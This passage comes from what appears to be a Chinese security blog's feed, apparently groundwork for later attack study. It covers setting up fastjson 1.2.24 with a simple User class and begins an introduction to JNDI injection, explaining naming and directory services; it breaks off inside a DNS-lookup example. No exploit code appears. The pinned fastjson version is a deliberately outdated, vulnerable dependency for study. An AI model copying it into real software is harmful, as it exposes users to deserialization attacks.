Bean。&lt;/p&gt;&#10;&#10;&#10;&#10;&lt;h2 id="环境搭建"&gt;&#10; 环境搭建&lt;a class="heading-anchor" href="#%e7%8e%af%e5%a2%83%e6%90%ad%e5%bb%ba" aria-label="链接到本节"&gt;&lt;/a&gt;&#10;&lt;/h2&gt;&#10;&lt;p&gt;导入依赖 这里先演示 1.2.24&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-java" data-lang="java"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="n"&gt;dependency&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="n"&gt;groupId&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;com&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;alibaba&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;/&lt;/span&gt;&lt;span class="n"&gt;groupId&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="n"&gt;artifactId&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;fastjson&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;/&lt;/span&gt;&lt;span class="n"&gt;artifactId&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="n"&gt;version&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;1&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;2&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;24&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;/&lt;/span&gt;&lt;span class="n"&gt;version&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;lt;/&lt;/span&gt;&lt;span class="n"&gt;dependency&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&#10;&#10;&#10;&lt;h2 id="fastjson简单使用"&gt;&#10; Fastjson简单使用&lt;a class="heading-anchor" href="#fastjson%e7%ae%80%e5%8d%95%e4%bd%bf%e7%94%a8" aria-label="链接到本节"&gt;&lt;/a&gt;&#10;&lt;/h2&gt;&#10;&lt;p&gt;新建一个类&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-java" data-lang="java"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="kn"&gt;package&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nn"&gt;top.foreverwl.study.fastjson.domain&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="cm"&gt;/**&#10;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="cm"&gt; * @program: FastJson&#10;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="cm"&gt; * @description:&#10;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="cm"&gt; * @author: 168&#10;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="cm"&gt; * @create: 2024-09-18 19:35&#10;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="cm"&gt; **/&lt;/span&gt;&lt;span class="w"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="kd"&gt;public&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kd"&gt;class&lt;/span&gt; &lt;span class="nc"&gt;User&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kd"&gt;private&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;String&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;username&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kd"&gt;private&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kt"&gt;int&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;id&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kd"&gt;public&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;User&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;String&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;username&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="kt"&gt;int&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;id&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;System&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;out&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;println&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;#34;有参构造&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&lt;span class="w"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;username&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;username&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;id&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;id&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nd"&gt;@Override&lt;/span&gt;&lt;span class="w"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kd"&gt;public&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;String&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;toString&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;&amp;#34;User{&amp;#34;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;&amp;#34;username=&amp;#39;&amp;#34;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;username&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="sc"&gt;&amp;#39;\&amp;#39;&amp;#39;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;&amp;#34;, id=&amp;#34;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;id&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="sc"&gt;&amp;#39;}&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kd"&gt;public&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;String&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;getUsername&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;username&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kd"&gt;public&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kt"&gt;void&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;setUsername&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;String&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;username&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;username&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;username&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kd"&gt;public&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kt"&gt;int&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;getId&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;id&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kd"&gt;public&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kt"&gt;void&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;setId&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;int&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;id&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;id&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;id&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;JSON的toJSONString方法将指定的对象序列化为其等效的 Json 表示形式。我们看一个官方解释&lt;/p&gt;</description></item><item><title>JNDI注入初学习</title><link>http://blog.foreverwl.top/blog/jndi%E6%B3%A8%E5%85%A5%E5%88%9D%E5%AD%A6%E4%B9%A0/</link><pubDate>Tue, 24 Sep 2024 17:08:41 +0800</pubDate><guid>http://blog.foreverwl.top/blog/jndi%E6%B3%A8%E5%85%A5%E5%88%9D%E5%AD%A6%E4%B9%A0/</guid><description>&lt;h1 id="jndi注入初学习"&gt;&#10; JNDI注入初学习&lt;a class="heading-anchor" href="#jndi%e6%b3%a8%e5%85%a5%e5%88%9d%e5%ad%a6%e4%b9%a0" aria-label="链接到本节"&gt;&lt;/a&gt;&#10;&lt;/h1&gt;&#10;&#10;&#10;&#10;&lt;h2 id="jndi简介"&gt;&#10; JNDI简介&lt;a class="heading-anchor" href="#jndi%e7%ae%80%e4%bb%8b" aria-label="链接到本节"&gt;&lt;/a&gt;&#10;&lt;/h2&gt;&#10;&lt;p&gt;&lt;code&gt;JNDI(Java Naming and Directory Interface)&lt;/code&gt;是&lt;code&gt;Java&lt;/code&gt;提供的&lt;code&gt;Java&lt;/code&gt;命名和目录接口。通过调用&lt;code&gt;JNDI&lt;/code&gt;的&lt;code&gt;API&lt;/code&gt;可以定位资源和其他程序对象。&lt;/p&gt;&#10;&lt;p&gt;也就是说如果程序定义了JNDI的接口，我们则可以通过该接口API访问系统的==命令服务==和==目录服务==&#10;JNDI可访问的现有的目录和服务有：JDBC ,LDAP,RMI,DNS,NIS,CORBA&lt;/p&gt;&#10;&#10;&lt;div class="table-wrap"&gt;&#10; &lt;table&gt;&#10; &lt;thead&gt;&#10; &lt;tr&gt;&#10; &lt;th &gt;协议&lt;/th&gt;&#10; &lt;th &gt;作用&lt;/th&gt;&#10; &lt;/tr&gt;&#10; &lt;/thead&gt;&#10; &lt;tbody&gt;&#10; &lt;tr&gt;&#10; &lt;td &gt;LDAP&lt;/td&gt;&#10; &lt;td &gt;轻量级目录访问协议，约定了 Client 与 Server 之间的信息交互格式、使用的端口号、认证方式等内容&lt;/td&gt;&#10; &lt;/tr&gt;&#10; &lt;tr&gt;&#10; &lt;td &gt;RMI&lt;/td&gt;&#10; &lt;td &gt;JAVA远程远程方法调用注册&lt;/td&gt;&#10; &lt;/tr&gt;&#10; &lt;tr&gt;&#10; &lt;td &gt;DNS&lt;/td&gt;&#10; &lt;td &gt;域名服务&lt;/td&gt;&#10; &lt;/tr&gt;&#10; &lt;tr&gt;&#10; &lt;td &gt;CORBA&lt;/td&gt;&#10; &lt;td &gt;公共对象请求代理体系结构&lt;/td&gt;&#10; &lt;/tr&gt;&#10; &lt;/tbody&gt;&#10; &lt;/table&gt;&#10;&lt;/div&gt;&#10;&#10;&#10;&#10;&lt;h3 id="naming-service-命名服务"&gt;&#10; Naming Service 命名服务&lt;a class="heading-anchor" href="#naming-service-%e5%91%bd%e5%90%8d%e6%9c%8d%e5%8a%a1" aria-label="链接到本节"&gt;&lt;/a&gt;&#10;&lt;/h3&gt;&#10;&lt;p&gt;命名服务就是将名称和对象进行广联，也就是一种映射；我们可以通过名称找到对应的对象的操作。在命名系统中，有几个重要的概念：&lt;/p&gt;&#10;&lt;p&gt;==Bindings==：表示一个名称和对应对象的绑定关系，也就是上边提到的。&#10;==Context==：上下文，一个上下文中对应着一组名称到对象的绑定关系；可以在指定的上下文中查找名称对应的对象。比如在文件系统中，一个目录就是一个上下文，可以在这个目录中查找文件，其中的子目录也可以称为上下文(subcontext)。&#10;==References==：有些对象可能无法直接存储在系统内，这时候就以引用的形式进行存储，像c语言中的指针。引用中包含了获取的实际对象所需的信息，或者对象的实际状态。&lt;/p&gt;&#10;&#10;&#10;&#10;&lt;h3 id="directory-service-目录服务"&gt;&#10; Directory Service 目录服务&lt;a class="heading-anchor" href="#directory-service-%e7%9b%ae%e5%bd%95%e6%9c%8d%e5%8a%a1" aria-label="链接到本节"&gt;&lt;/a&gt;&#10;&lt;/h3&gt;&#10;&lt;p&gt;目录服务是命名服务的拓展，除了提供名称和对象的关联，还允许对象具有属性。目录服务中的对象称为目录对象。目录服务提供创建、添加、删除目录对象以及修改目录对象属性等操作。所以我们可以通过名称去查找对象，也能通过属性值去搜索对象。&lt;/p&gt;&#10;&#10;&#10;&#10;&lt;h3 id="api"&gt;&#10; API&lt;a class="heading-anchor" href="#api" aria-label="链接到本节"&gt;&lt;/a&gt;&#10;&lt;/h3&gt;&#10;&lt;p&gt;我们上边知道使用目录服务可以集中存储共享信息。在java应用中除了以常规的方式使用名称服务，还可以用目录服务作为对象存储的系统，即用目录服务来存储和获取java对象。&#10;例如播放音乐服务，我们可以通过在目录服务中查找播放器，并获取一个播放器的对象，基于这个对象进行实际的服务操作。&#10;为此，就有了JNDN，应用通过接口与具体的目录服务进行交互。看下面的图：&#10;&#10;&lt;figure class="digio-lightbox"&gt;&#10; &lt;a href="#lightbox-0" class="digio-lightbox-open"&gt;&#10; &lt;img src="https://foreverwlwl.oss-cn-beijing.aliyuncs.com/typora/202409232052538.png" alt="image-20240923205221456" loading="lazy"&gt;&#10; &lt;/a&gt;&#10; &lt;div class="digio-lightbox-overlay" id="lightbox-0" role="dialog" aria-modal="true"&gt;&#10; &lt;a class="digio-lightbox-close" href="#" aria-label="close"&gt;&amp;times;&lt;/a&gt;&#10; &lt;img src="https://foreverwlwl.oss-cn-beijing.aliyuncs.com/typora/202409232052538.png" alt="image-20240923205221456"&gt;&#10; &#10; &lt;/div&gt;&#10;&lt;/figure&gt;&#10;&lt;/p&gt;&#10;&#10;&#10;&#10;&lt;h3 id="实例通过jndi进行dns查询"&gt;&#10; 实例：通过JNDI进行dns查询&lt;a class="heading-anchor" href="#%e5%ae%9e%e4%be%8b%e9%80%9a%e8%bf%87jndi%e8%bf%9b%e8%a1%8cdns%e6%9f%a5%e8%af%a2" aria-label="链接到本节"&gt;&lt;/a&gt;&#10;&lt;/h3&gt;&#10;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-java" data-lang="java"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="kn"&gt;package&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nn"&gt;top.foreverwl.study.demo&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="kn"&gt;import&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nn"&gt;javax.naming.*&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="kn"&gt;import&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nn"&gt;javax.naming.directory.*&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="cm"&gt;/**&#10;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="cm"&gt; * @program: JNDI2&#10;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="cm"&gt; * @description:&#10;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="cm"&gt; * @author: 168&#10;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="cm"&gt; * @create: 2024-09-24 14:47&#10;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="cm"&gt; **/&lt;/span&gt;&lt;span class="w"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="kd"&gt;public&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kd"&gt;class&lt;/span&gt; &lt;span class="nc"&gt;JndiDns&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kd"&gt;public&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kd"&gt;static&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kt"&gt;void&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;main&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;String&lt;/span&gt;&lt;span class="o"&gt;[]&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;args&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kd"&gt;throws&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;NamingException&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;DirContext&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ctx&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span 